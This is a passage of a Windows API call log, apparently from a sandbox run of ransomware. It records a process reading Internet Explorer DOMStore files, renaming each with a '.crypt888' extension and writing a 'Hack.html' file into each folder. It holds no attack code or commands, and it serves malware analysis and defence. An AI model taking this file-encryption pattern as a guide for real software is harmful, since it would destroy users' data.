HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml", lpFilePart=0x0) returned 0x74 [0078.117] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.118] GetFileType (hFile=0x174) returned 0x1 [0078.118] GetFileType (hFile=0x174) returned 0x1 [0078.118] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39eca8 | out: lpFileSizeHigh=0x39eca8*=0x0) returned 0xd [0078.118] ReadFile (in: hFile=0x174, lpBuffer=0x288eff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec54, lpOverlapped=0x0 | out: lpBuffer=0x288eff8*, lpNumberOfBytesRead=0x39ec54*=0xd, lpOverlapped=0x0) returned 1 [0078.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml", nBufferLength=0x105, lpBuffer=0x39e694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml", lpFilePart=0x0) returned 0x74 [0078.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb88) returned 1 [0078.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.162] GetFileType (hFile=0x174) returned 0x1 [0078.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb84) returned 1 [0078.162] GetFileType (hFile=0x174) returned 0x1 [0078.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml", lpFilePart=0x0) returned 0x74 [0078.164] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.crypt888", lpFilePart=0x0) returned 0x7d [0078.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec2c) returned 1 [0078.164] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), fInfoLevelId=0x0, lpFileInformation=0x39eca8 | out: lpFileInformation=0x39eca8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b05050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbfc99380, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0078.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec28) returned 1 [0078.164] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.crypt888")) returned 1 [0078.165] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\Hack.html", lpFilePart=0x0) returned 0x66 [0078.165] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0078.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.165] GetFileType (hFile=0x174) returned 0x1 [0078.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0078.165] GetFileType (hFile=0x174) returned 0x1 [0078.166] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0078.166] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME", lpFilePart=0x0) returned 0x5c [0078.167] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\", lpFilePart=0x0) returned 0x5d [0078.167] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1e8 [0078.170] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.170] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.170] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0078.170] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0078.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0078.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0078.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0078.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME", lpFilePart=0x0) returned 0x5c [0078.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\", lpFilePart=0x0) returned 0x5d [0078.171] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1e8 [0078.171] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.171] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.172] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0078.172] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0078.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0078.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0078.172] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml", nBufferLength=0x105, lpBuffer=0x39e6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml", lpFilePart=0x0) returned 0x6e [0078.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eba0) returned 1 [0078.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.173] GetFileType (hFile=0x174) returned 0x1 [0078.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb9c) returned 1 [0078.173] GetFileType (hFile=0x174) returned 0x1 [0078.173] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39eca8 | out: lpFileSizeHigh=0x39eca8*=0x0) returned 0xd [0078.174] ReadFile (in: hFile=0x174, lpBuffer=0x26f455c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec54, lpOverlapped=0x0 | out: lpBuffer=0x26f455c*, lpNumberOfBytesRead=0x39ec54*=0xd, lpOverlapped=0x0) returned 1 [0078.175] CloseHandle (hObject=0x174) returned 1 [0078.193] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml", nBufferLength=0x105, lpBuffer=0x39e694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml", lpFilePart=0x0) returned 0x6e [0078.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb88) returned 1 [0078.194] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.195] GetFileType (hFile=0x174) returned 0x1 [0078.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb84) returned 1 [0078.195] GetFileType (hFile=0x174) returned 0x1 [0078.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml", lpFilePart=0x0) returned 0x6e [0078.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.crypt888", lpFilePart=0x0) returned 0x77 [0078.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec2c) returned 1 [0078.196] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), fInfoLevelId=0x0, lpFileInformation=0x39eca8 | out: lpFileInformation=0x39eca8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbfce5640, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0078.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec28) returned 1 [0078.197] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.crypt888")) returned 1 [0078.197] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\Hack.html", lpFilePart=0x0) returned 0x66 [0078.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0078.198] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.198] GetFileType (hFile=0x174) returned 0x1 [0078.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0078.198] GetFileType (hFile=0x174) returned 0x1 [0078.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0078.200] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB", lpFilePart=0x0) returned 0x5c [0078.200] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\", lpFilePart=0x0) returned 0x5d [0078.200] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a528 [0078.200] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.200] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0078.200] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0078.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0078.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0078.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0078.201] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB", lpFilePart=0x0) returned 0x5c [0078.201] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\", lpFilePart=0x0) returned 0x5d [0078.202] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a528 [0078.202] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.202] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0078.202] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0078.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0078.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0078.203] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\Hack.html", lpFilePart=0x0) returned 0x66 [0078.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0078.203] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\uv0duwvb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0078.203] GetFileType (hFile=0x174) returned 0x1 [0078.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0078.203] GetFileType (hFile=0x174) returned 0x1 [0078.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0078.205] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09", lpFilePart=0x0) returned 0x5c [0078.205] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\", lpFilePart=0x0) returned 0x5d [0078.205] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a528 [0078.205] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.205] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.205] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0078.206] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0078.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0078.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0078.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0078.206] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09", lpFilePart=0x0) returned 0x5c [0078.206] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\", lpFilePart=0x0) returned 0x5d [0078.206] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a528 [0078.206] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.206] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0078.207] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0078.207] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0078.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0078.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0078.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml", nBufferLength=0x105, lpBuffer=0x39e6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml", lpFilePart=0x0) returned 0x6b [0078.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eba0) returned 1 [0078.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.208] GetFileType (hFile=0x174) returned 0x1 [0078.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb9c) returned 1 [0078.208] GetFileType (hFile=0x174) returned 0x1 [0078.208] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39eca8 | out: lpFileSizeHigh=0x39eca8*=0x0) returned 0x344 [0078.209] ReadFile (in: hFile=0x174, lpBuffer=0x274cf20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec54, lpOverlapped=0x0 | out: lpBuffer=0x274cf20*, lpNumberOfBytesRead=0x39ec54*=0x344, lpOverlapped=0x0) returned 1 [0078.221] CloseHandle (hObject=0x174) returned 1 [0078.242] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml", nBufferLength=0x105, lpBuffer=0x39e694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml", lpFilePart=0x0) returned 0x6b [0078.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb88) returned 1 [0078.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, 